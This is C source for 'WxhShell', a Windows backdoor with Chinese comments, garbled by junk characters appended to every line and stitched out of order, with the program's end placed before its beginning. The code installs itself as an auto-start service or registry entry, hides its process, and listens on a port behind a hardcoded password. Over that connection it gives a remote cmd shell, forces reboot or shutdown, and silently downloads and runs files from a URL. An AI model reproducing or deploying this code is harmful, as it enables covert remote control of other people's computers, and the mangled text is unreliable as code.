    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); s(5hFuyg  
    if(Boot(SHUTDOWN)) 1zH?.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'N+;{8C-{  
    else { W&R67ff|  
    closesocket(wsh); @4 8!e-W  
    ExitThread(0); +$nNYD  
    } uax0%~O\  
    break; `iM%R3&  
    } l&U$L N$*e  
  // 获取shell 8 b~  
  case 's': { O65`KOPn  
    CmdShell(wsh); UhL1Y NF_  
    closesocket(wsh); l5Ko9CG  
    ExitThread(0); 8a)Brl}u  
    break; B= ~y(Mb  
  } $w{d4")  
  // 退出 'uDx$AkY  
  case 'x': { Y z&!0Hfd  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); d7[^p N  
    CloseIt(wsh); 1G5AL2  
    break; G~(\N?2  
    } t,JX6ni  
  // 离开 iz^uj  
  case 'q': { -V}xvSVg  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); Kc2y  
    closesocket(wsh); gDLS)4^w  
    WSACleanup(); EJTM >Rpor  
    exit(1); nb=mY&q}~  
    break; 6)*fr'P  
        } )1M2}11uS  
  } ,3T"fT-(  
  } Uoe;=P@  
P658 XKE  
  // 提示信息 ?{aJ#w   
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); rC_1f3A  
} pgh(~ [  
  } K;sC#9m  
SsW<,T  
  return; Aipm=C8  
} cxSHSv 1;  
{\0V$#q   
// shell模块句柄 @XM*N7  
int CmdShell(SOCKET sock) 'Gc{cNbXIA  
{ e3TKQ (  
STARTUPINFO si; -"JmQ Fha  
ZeroMemory(&si,sizeof(si)); gFHBIN;u  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; vbeE}7 *2  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jIe /X]  
PROCESS_INFORMATION ProcessInfo;  S9}I  
char cmdline[]="cmd"; P4_B.5rrJ  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); hN!;Tny  
  return 0; L +Uq4S^  
} T*%GeY [  
CE96e y  
// 自身启动模式 9]lI?j]o  
int StartFromService(void) 6_QAE6A  
{ ~&T U  
typedef struct iD|~$<9o  
{ '%ilF1#  
  DWORD ExitStatus; bS~Y_]B  
  DWORD PebBaseAddress; b:hta\%/2  
  DWORD AffinityMask; dLb$3!3  
  DWORD BasePriority; _3 oo%?}  
  ULONG UniqueProcessId; VED~v#.c  
  ULONG InheritedFromUniqueProcessId; *w(n%f  
}   PROCESS_BASIC_INFORMATION; t :YZua  
P8By~f32_  
PROCNTQSIP NtQueryInformationProcess; ;xz_H$g  
nfHjIYid  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bk<Rp84vL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b<~8\\ &  
c:.5@eq^  
  HANDLE             hProcess; "kFH*I+v  
  PROCESS_BASIC_INFORMATION pbi; r1-MO`6  
6}I X{nQI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); EniV-Uj\D  
  if(NULL == hInst ) return 0; H i8V=+  
<#?dPDMG.*  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Cfmd*,  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); e_Hpai<b  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); tmS2%1o  
( `bb1gz  
  if (!NtQueryInformationProcess) return 0; $%DoLpE>  
N~=PecQ  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0*5Jq#5  
  if(!hProcess) return 0; "o`?-bQ:  
iQ:eR]7X  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; %?].( Lc  
L%Zr3Ct  
  CloseHandle(hProcess); K)>F03=uE  
0{ mm%@o  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); F<p`)?  
if(hProcess==NULL) return 0; vLN KX;9  
r D <T  
HMODULE hMod; H%Vf$1/TF  
char procName[255]; &2XH.$Q  
unsigned long cbNeeded; i4i9EvWp  
U&])ow):  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !;&\n3-W  
PVlC j  
  CloseHandle(hProcess); _"Ym]y28li  
lG'D/#  
if(strstr(procName,"services")) return 1; // 以服务启动 e16H @  
t{iRCj  
  return 0; // 注册表启动 V':A!  
} 3GE;:;8B  
eEVB   
// 主模块 `B3-#!2X  
int StartWxhshell(LPSTR lpCmdLine) Izu____  
{ 4w ,&#L  
  SOCKET wsl; w%qnH e9  
BOOL val=TRUE; X:Wd%CHP  
  int port=0; v.8kGF  
  struct sockaddr_in door; n4dNGp7\`  
H}~K51  
  if(wscfg.ws_autoins) Install(); MF'Z?M  
yOEy3d=*  
port=atoi(lpCmdLine); #N`G2}1J  
E`JW4)AH  
if(port<=0) port=wscfg.ws_port; R_/;U&R  
:$u[1&6  
  WSADATA data; 6 ~0kb_td  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; cKkH*0B5  
~L<"]V+B  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   d'MZ%.#  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); QObVJg,GD  
  door.sin_family = AF_INET; 02[m{a-  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Q?1.GuF  
  door.sin_port = htons(port); a_}C*+D  
\K\eq>@6  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { *cWHl@4  
closesocket(wsl); 7Ji'7$  
return 1; )C?H m^ #  
} ej_u):G*  
#Ko I8U"  
  if(listen(wsl,2) == INVALID_SOCKET) { |g}r  
closesocket(wsl); 8*/;W&7y  
return 1; azIhp{rH w  
} i@rUZYF  
  Wxhshell(wsl); l#v52  
  WSACleanup(); z{ eZsh b  
jSvq1$U  
return 0; f:\)! &W  
[n/c7Pe  
} / S' +  
S'|PA7a}h  
// 以NT服务方式启动 .yfp-n4H  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) {,Vvm*L/  
{ j"~"-E(79  
DWORD   status = 0; T;BFO5G@  
  DWORD   specificError = 0xfffffff; \e4AxLP  
6BA$v-VVU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; m,kYE9 {  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; AlDp+"|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 6;Z`9PGp  
  serviceStatus.dwWin32ExitCode     = 0; #J/RI[a  
  serviceStatus.dwServiceSpecificExitCode = 0; >CrrxiG  
  serviceStatus.dwCheckPoint       = 0; \36 G``e  
  serviceStatus.dwWaitHint       = 0; mYo~RXKGF  
"#pxZ B=  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); L7 <30"7  
  if (hServiceStatusHandle==0) return; [[T6X9  
Z>g&%3j  
status = GetLastError(); R%n*wGi_6b  
  if (status!=NO_ERROR) c0e[vrP:  
{ ;|XX^  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; H~JgZ pw  
    serviceStatus.dwCheckPoint       = 0; *A48shfO  
    serviceStatus.dwWaitHint       = 0; }XUI1H]jk  
    serviceStatus.dwWin32ExitCode     = status; jcJ@A0]  
    serviceStatus.dwServiceSpecificExitCode = specificError; Ms5qQ<0v_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -32P}58R  
    return; 1!)'dL0mI  
  } Q'=7#_  
u!~kmIa4  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; rd%uc~/  
  serviceStatus.dwCheckPoint       = 0; Z >R@  
  serviceStatus.dwWaitHint       = 0; _(m455HZ  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *iru>F8r:  
} )d3C1Pd>  
I&i6-xp  
// 处理NT服务事件,比如:启动、停止 _\IA[-C+O  
VOID WINAPI NTServiceHandler(DWORD fdwControl) o@PvA1  
{ ?1r;6  
switch(fdwControl) ~eP~c"L  
{ g2?W@/pa  
case SERVICE_CONTROL_STOP: KY< $+/B!  
  serviceStatus.dwWin32ExitCode = 0; jdVj FCl^#  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; /oEDA^qx  
  serviceStatus.dwCheckPoint   = 0; h5l_/v d  
  serviceStatus.dwWaitHint     = 0; zobFUFx  
  {  y"Fu=  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5FB3w48  
  } .%J<zqk-  
  return; ,H?e23G  
case SERVICE_CONTROL_PAUSE: #sF#<nHZ  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .#tA .%  
  break; 9k62_]w@6  
case SERVICE_CONTROL_CONTINUE: $aT '~|?  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; U3]/ NV*   
  break; rVOF  
case SERVICE_CONTROL_INTERROGATE: ;mD!8<~z.  
  break; U . <c#S  
}; s H'FqV,)  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =7kn1G.(  
} ~3Qa-s;g  
suaP'0  
// 标准应用程序主函数 >#S}J LZ  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) &q-P O  
{ Oi C|~8  
w0yzC0yBk  
// 获取操作系统版本 <ldArZ4C4  
OsIsNt=GetOsVer(); w0=/V[fs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ebL0cK?  
75P!`9bE  
  // 从命令行安装 -; d{}F  
  if(strpbrk(lpCmdLine,"iI")) Install(); 96!2 @c{  
XF3lS#pt  
  // 下载执行文件 tycVcr \(  
if(wscfg.ws_downexe) { 1 Cz}|#U  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) eUu<q/FUMj  
  WinExec(wscfg.ws_filenam,SW_HIDE); ~(c<M>Q8  
} 6 P(jc  
Um-Xb'R*]V  
if(!OsIsNt) { QDK }e:4q  
// 如果时win9x,隐藏进程并且设置为注册表启动 9w0v?%%_  
HideProc(); 06pY10<>X  
StartWxhshell(lpCmdLine); BdvpG  
} NN:zQ_RT  
else `5x0p a  
  if(StartFromService()) \Yv4 4*I`  
  // 以服务方式启动 IK4(r /  
  StartServiceCtrlDispatcher(DispatchTable); r|bGn#^  
else \\oa[nvL~  
  // 普通方式启动 "Rf|o 6!d  
  StartWxhshell(lpCmdLine); JNvgUb'U  
.",BLuce  
return 0; Mg^A,8lrm  
} `09[25?  
eXLdb-  
xo-}t5w6t  
"6%qi qt  
=========================================== =zp{ ^mC  
"x:-#2+h  
oq>jCOVh  
eq2L V=d{m  
.o<9[d"  
p[!9objU  
" {FC<vx{42  
PI *Z>VE?  
#include <stdio.h> sG|,#XQ  
#include <string.h> #7J3,EV  
#include <windows.h> *li5/=UC5*  
#include <winsock2.h> !D 'A  
#include <winsvc.h> M|.ykA<D  
#include <urlmon.h> QNcl    
puF*WxU)  
#pragma comment (lib, "Ws2_32.lib") Us>n`Lj@  
#pragma comment (lib, "urlmon.lib") r6:nYyF$)v  
m Le 70U  
#define MAX_USER   100 // 最大客户端连接数 dr"@2=Z  
#define BUF_SOCK   200 // sock buffer OtT*)8*c  
#define KEY_BUFF   255 // 输入 buffer eQ#"-i  
,;=is.h9  
#define REBOOT     0   // 重启 y<yU5  
#define SHUTDOWN   1   // 关机 p|)j{nc  
7'{Y7]+z+  
#define DEF_PORT   5000 // 监听端口 U}-hV@y  
cyI:dvg  
#define REG_LEN     16   // 注册表键长度 Vgj[m4l  
#define SVC_LEN     80   // NT服务名长度 DCCij N  
 A1jA$  
// 从dll定义API Xu{S4#1  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Xpmi(~n  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); H]0(GLvH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rAu@`H?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); C9`x"$  
YQ}IE[J}v  
// wxhshell配置信息 oJ 0 #U  
struct WSCFG { I9cZZ`vs  
  int ws_port;         // 监听端口 rf2-owWN  
  char ws_passstr[REG_LEN]; // 口令 &<5oDdC  
  int ws_autoins;       // 安装标记, 1=yes 0=no ~uO9>(?D  
  char ws_regname[REG_LEN]; // 注册表键名 k/%n7 ;1  
  char ws_svcname[REG_LEN]; // 服务名 -s6;IoG/  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 @ |7e~U  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 O#b%&s"o  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 y]%Io]!d  
int ws_downexe;       // 下载执行标记, 1=yes 0=no #xxs^Kbqa#  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" |?uUw$oh  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 :YN,cId*  
;e ^`r;]  
}; 4ko(bW#jL  
q6N6QI8/  
// default Wxhshell configuration ^ Hv4t   
struct WSCFG wscfg={DEF_PORT, E#+|.0*!s  
    "xuhuanlingzhe", cpBTi  
    1, ' sTMUPg`  
    "Wxhshell", {rZ )!  
    "Wxhshell", ^e WD4Vp|4  
            "WxhShell Service", NT [~AK9M  
    "Wrsky Windows CmdShell Service", sJ)Pj?"\?  
    "Please Input Your Password: ", !qVnziE,,  
  1, x]jJ  
  "http://www.wrsky.com/wxhshell.exe", ."JtR  
  "Wxhshell.exe" VpmD1YSn  
    }; NYp46;  
=G%L:m*  
// 消息定义模块 <Yy|.=6 D  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; .Zv uhOn^  
char *msg_ws_prompt="\n\r? for help\n\r#>"; la[>C:8IG  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; XfH[: XG3  
char *msg_ws_ext="\n\rExit."; 5j$ a3nH  
char *msg_ws_end="\n\rQuit."; &>%9JXU  
char *msg_ws_boot="\n\rReboot..."; q`^ T7  
char *msg_ws_poff="\n\rShutdown..."; XhG3Of-6  
char *msg_ws_down="\n\rSave to "; uu+)r  
=F"vL  
char *msg_ws_err="\n\rErr!"; eww/tGa  
char *msg_ws_ok="\n\rOK!"; #=\nuT'oy  
/L? ia  
char ExeFile[MAX_PATH]; JE.s?k  
int nUser = 0; &x<y4ORH|  
HANDLE handles[MAX_USER]; Ub-q0[6  
int OsIsNt; 1=Nh<FuQ  
ct![eWsuB  
SERVICE_STATUS       serviceStatus; ~zT743  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; R\d)kcy4  
sW]fPa(cn,  
// 函数声明 aJ^RY5  
int Install(void); ]KE"|}B  
int Uninstall(void); B(h%>mT[  
int DownloadFile(char *sURL, SOCKET wsh); TdWatvY5p  
int Boot(int flag); .7|Iausv  
void HideProc(void); %uy5la  
int GetOsVer(void); 24Uvi:B?~  
int Wxhshell(SOCKET wsl); 5|0}   
void TalkWithClient(void *cs); UCVdR<<Z  
int CmdShell(SOCKET sock); ==)q{e5  
int StartFromService(void); Yb;$z'  
int StartWxhshell(LPSTR lpCmdLine); XdxSi"+  
1'"TO5  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); _[t:Vme}v  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 7@uhw">mX  
@Xg5 E  
// 数据结构和表定义 o{?Rz3z  
SERVICE_TABLE_ENTRY DispatchTable[] = 4RoE>m1[G  
{ G=l-S\0@  
{wscfg.ws_svcname, NTServiceMain}, ] g]^^  
{NULL, NULL} Y~[k_!  
}; / U5!]7&gB  
N>Q~WXvV#  
// 自我安装 * faG0le  
int Install(void) c$#7Kp4  
{ {~cM 6W]f  
  char svExeFile[MAX_PATH]; ur K~]68  
  HKEY key; B Ms?+  
  strcpy(svExeFile,ExeFile); 'K*. ?M  
hxe X6  
// 如果是win9x系统,修改注册表设为自启动 _-5|"oJ  
if(!OsIsNt) { xka&,`z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U~1)a(Yu;  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));  xh|<`>5  
  RegCloseKey(key); PJ3M,2H1b.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { &.1qixXIr  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); v1}9i3Or#  
  RegCloseKey(key); PQJw"[N/YM  
  return 0; n5>OZ3 E@  
    } _ 2 oZhJ  
  } L~|_CRw  
} *!m(oP  
else { u1;sH{YK>  
mr2fNA>kR  
// 如果是NT以上系统,安装为系统服务 Cm%|hk>fQ  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ,4--3 MU  
if (schSCManager!=0) GW,RE\Q:  
{ <\`qRz0/  
  SC_HANDLE schService = CreateService "el}9OitC  
  ( I_\?wSNGM  
  schSCManager, =M9;`EmC  
  wscfg.ws_svcname, -]<<}@NF  
  wscfg.ws_svcdisp, 9v@P|  
  SERVICE_ALL_ACCESS, >["X( %&w  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P"f4`q  
  SERVICE_AUTO_START, Dgc}T8R  
  SERVICE_ERROR_NORMAL, hg2UZ% Y  
  svExeFile, /(8"9Sfm  
  NULL, ~yiw{:\  
  NULL, (tvfF0~  
  NULL, fUq:`#Q  
  NULL, `z$=J"%? y  
  NULL "</A) y&  
  ); {PKf]m  
  if (schService!=0) L<k(stx~  
  { s"5wnp6pW  
  CloseServiceHandle(schService); BU.O[?@64  
  CloseServiceHandle(schSCManager); . ZP$,  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); L$6W,D  
  strcat(svExeFile,wscfg.ws_svcname); %>!W+rO,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9#E)H?`g  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); -QK- w>  
  RegCloseKey(key); J,:Wv`N:9~  
  return 0; lYT_Y.%I  
    } $Y M(NC  
  } tMH 2  
  CloseServiceHandle(schSCManager); xnxNc5$oE  
} Rxlz`&   
} EY^?@D_<  
*k@D4F ruP  
return 1; ; )FmN[  
} tyFsnc k  
4%#q.qI  
// 自我卸载 c#-*]6x  
int Uninstall(void) wZVLpF+7  
{ XT?wCb41R  
  HKEY key; Clb7=@f  
Nq1YFI>W  
if(!OsIsNt) { ,P%i%YPj  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { hP}-yW6]  
  RegDeleteValue(key,wscfg.ws_regname); 5zOC zm  
  RegCloseKey(key); mt~E&Z(A  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { E24j(>   
  RegDeleteValue(key,wscfg.ws_regname); i.{.koH<  
  RegCloseKey(key); 6O_l;A[=1  
  return 0; NOmFQ)/ &  
  } nNf*Q r%Z  
} *7w!~mn[m  
} aNBwb9X  
else { B=~uJUr  
=b, m3 1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 0g9y4z{H  
if (schSCManager!=0) Xk!wT2;  
{ B(f_~]  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); +j %y#_~  
  if (schService!=0) A76H M@Q  
  { %aV~RB#  
  if(DeleteService(schService)!=0) { Rg^ps  
  CloseServiceHandle(schService); H@b4(6  
  CloseServiceHandle(schSCManager); (3~^zwA  
  return 0; >pp#>{}  
  } |w+ O.%=  
  CloseServiceHandle(schService); |h&Z.  
  } C-\3,  
  CloseServiceHandle(schSCManager); B<ue}t  
} X]o"4#CQIX  
} z;MPp#Y  
q0DRT4K  
return 1; IJVzF1vC  
} |*DkriYY  
-{q'Tmst  
// 从指定url下载文件 upZ tVdd  
int DownloadFile(char *sURL, SOCKET wsh) vCXmu_S4^>  
{ w ^?#xU1.i  
  HRESULT hr; 2x<!>B  
char seps[]= "/"; Fy0sn|  
char *token; L6#4A3yh  
char *file; }1%%`  
char myURL[MAX_PATH]; T$<yl#FY  
char myFILE[MAX_PATH]; 7dv!  
!l]_c 5  
strcpy(myURL,sURL); F`GXho[  
  token=strtok(myURL,seps); :K5?&kT  
  while(token!=NULL) ioEjbqD<  
  { MkhD*\D /  
    file=token; 8]oolA:^4s  
  token=strtok(NULL,seps); BMqr YW  
  } =XK}eQ_d  
L|L|liWd  
GetCurrentDirectory(MAX_PATH,myFILE); ANJL8t-m  
strcat(myFILE, "\\"); *[m:4\  
strcat(myFILE, file); t{QQ;'  
  send(wsh,myFILE,strlen(myFILE),0); ;mRZ_^V;  
send(wsh,"...",3,0); ~9xkiu5~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); [$pb  
  if(hr==S_OK) ( mn:!3H%  
return 0; ' MBXk2?b  
else 1)jea wVmj  
return 1; U{/fY/kq  
i7Cuc+ j8  
} cy)-Rfg  
*8uS,s6g  
// 系统电源模块 4w#2m>.  
int Boot(int flag) P3n#s2o6y  
{ ;]b4O4C\  
  HANDLE hToken; =mF"D:s*  
  TOKEN_PRIVILEGES tkp; @}:E{J#g  
{Z7ixc523  
  if(OsIsNt) { &3;"$P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); NL>Trv5  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); /}J_2  
    tkp.PrivilegeCount = 1; 0[M2LF!m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iF":c}$.  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~, E }^  
if(flag==REBOOT) {  @;$cX2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) D B65vM  
  return 0; 1G"ohosmF  
} EI7n|X a1q  
else { U\B9Ab  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) I.G[|[. Do  
  return 0; 4hLk+z<n  
} a/J Mg   
  } 4L ]4WVc  
  else { </D.}ia  
if(flag==REBOOT) { ep?D;g  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) gzn:]Y^  
  return 0; D)?%kNeA  
} =}kISh  
else { 4w=v /WDo  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uR{)%udu  
  return 0; 4v |i\V>M  
} M2p|&Z%  
} WeaT42*Q{  
wpt$bqs|1  
return 1; "igA^^?X1N  
} yj#FO'UY  
HcJ!(  
// win9x进程隐藏模块 Sn4xv2/  
void HideProc(void) LH)1IGAx2y  
{ |;xEK nF  
G4*&9Wo  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =X^a  
  if ( hKernel != NULL ) E:B"!Y6  
  { n44 T4q  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); H v/5)  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); JDZuT#  
    FreeLibrary(hKernel); ?A7 AVR  
  } F~fBr  
=pi,]m  
return; u&uFXOc'  
} "qF/7`e[  
j0~am,yZ  
// 获取操作系统版本 +aL  
int GetOsVer(void) ]r3/hDRDL@  
{ YW6a?f^!  
  OSVERSIONINFO winfo; mz%l4w?'  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 1E / G+pm  
  GetVersionEx(&winfo); ^pd7nr~Y  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) }DM W,+3  
  return 1; }Vob)r{R@  
  else ]s0wJD=  
  return 0; SyI~iW#Y1  
} =E]tEi  
o*/;Zp==  
// 客户端句柄模块 Z81;Y=(  
int Wxhshell(SOCKET wsl) qhvT,"  
{ HM0&%  
  SOCKET wsh; Q"u2<  
  struct sockaddr_in client; !;(Wm6~*ad  
  DWORD myID; n@ba>m4{  
F7O*%y.';  
  while(nUser<MAX_USER) ^ '|y^t  
{ (>A#|N1U  
  int nSize=sizeof(client); '}(>s%~  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ?M&@# lbG  
  if(wsh==INVALID_SOCKET) return 1; 1c#\CO1l  
LKcp.i  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); K/Yeh<_&  
if(handles[nUser]==0) y*X.DS 1(w  
  closesocket(wsh); .rO~a.kG  
else C=r`\W  
  nUser++; O&aD]~|  
  } = FV12(U  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); AQ(n?1LU  
/{hT3ncb  
  return 0; Ewr2popK  
} T^#d;A  
nlhv  
// 关闭 socket 2HBey  
void CloseIt(SOCKET wsh) f/8&-L  
{ :3R3 >o6m  
closesocket(wsh); dtY8>klI  
nUser--; `ql8y'  
ExitThread(0); ]5QXiF8`  
} ^_\m@   
e8dZR3JL  
// 客户端请求句柄 r`<e<C  
void TalkWithClient(void *cs) }]dzY(   
{ NY<qoV  
"#gKI/[qxq  
  SOCKET wsh=(SOCKET)cs; (n.IK/:  
  char pwd[SVC_LEN]; iOhX\@&  
  char cmd[KEY_BUFF]; Q`'cxx  
char chr[1]; 3=oxT6"k  
int i,j; fA<os+*9i  
[Q8Wy/o Q  
  while (nUser < MAX_USER) { . G25D  
w=!xTA  
if(wscfg.ws_passstr) { !9HWx_,|Z  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l3^'bp6HQ  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0iM'),v[]  
  //ZeroMemory(pwd,KEY_BUFF); s 7w A3|9  
      i=0; h@*I(ND<  
  while(i<SVC_LEN) { ~a2|W|?  
%hBwc#^  
  // 设置超时 q({-C  
  fd_set FdRead; (D?4*9 =  
  struct timeval TimeOut; > O?<?  
  FD_ZERO(&FdRead); p|nPu*R-\  
  FD_SET(wsh,&FdRead); Lz_.m  
  TimeOut.tv_sec=8; ^4 ,LIIUj  
  TimeOut.tv_usec=0; DeW{#c6  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ! jAp V  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 1>\V>g9  
JBHPI@Qt%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $Lbamg->E  
  pwd=chr[0]; C :sgT6  
  if(chr[0]==0xd || chr[0]==0xa) { n05GM.|*s  
  pwd=0; ^fO9oPM|  
  break; 5c}loOq  
  } |BhL.  
  i++; !PeSnO  
    } GSSmlJ`  
gzvgXZ1q"  
  // 如果是非法用户,关闭 socket [OOQ0c~  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); m*B4a9 f  
} %zY5'$v `  
fD\Fq'29{  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0);  LDU4 D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~;]zEq-hG  
f>Ua7!b  
while(1) { iyR"O1]  
9* 3;v;F  
  ZeroMemory(cmd,KEY_BUFF); uJ0'`Q?6R9  
g:y4C6b  
      // 自动支持客户端 telnet标准   =VZ_';b h  
  j=0; G![4K#~NM  
  while(j<KEY_BUFF) { aD'Ax\-  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); #rBfp|b]1  
  cmd[j]=chr[0]; U2WHs3  
  if(chr[0]==0xa || chr[0]==0xd) { [v*q%Mi_  
  cmd[j]=0; !|u?z%  
  break; |?g-8":H8P  
  } ;A7JX:*?y=  
  j++; xypgG;`\  
    } NqOX);'L0  
(6a<{  
  // 下载文件 ?f q!BV  
  if(strstr(cmd,"http://")) { u|AMqS  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); S`FIb'J  
  if(DownloadFile(cmd,wsh)) v;;3 K*c>  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); p0zC(v0*  
  else LK}FI* A_  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); h\3-8m  
  } R0tT4V+  
  else { ~ |A0*  
Xz)F-C27h  
    switch(cmd[0]) { #Mk: 4  
  L)F4)VL  
  // 帮助 H2#o X  
  case '?': { 9Scg:}Nj  
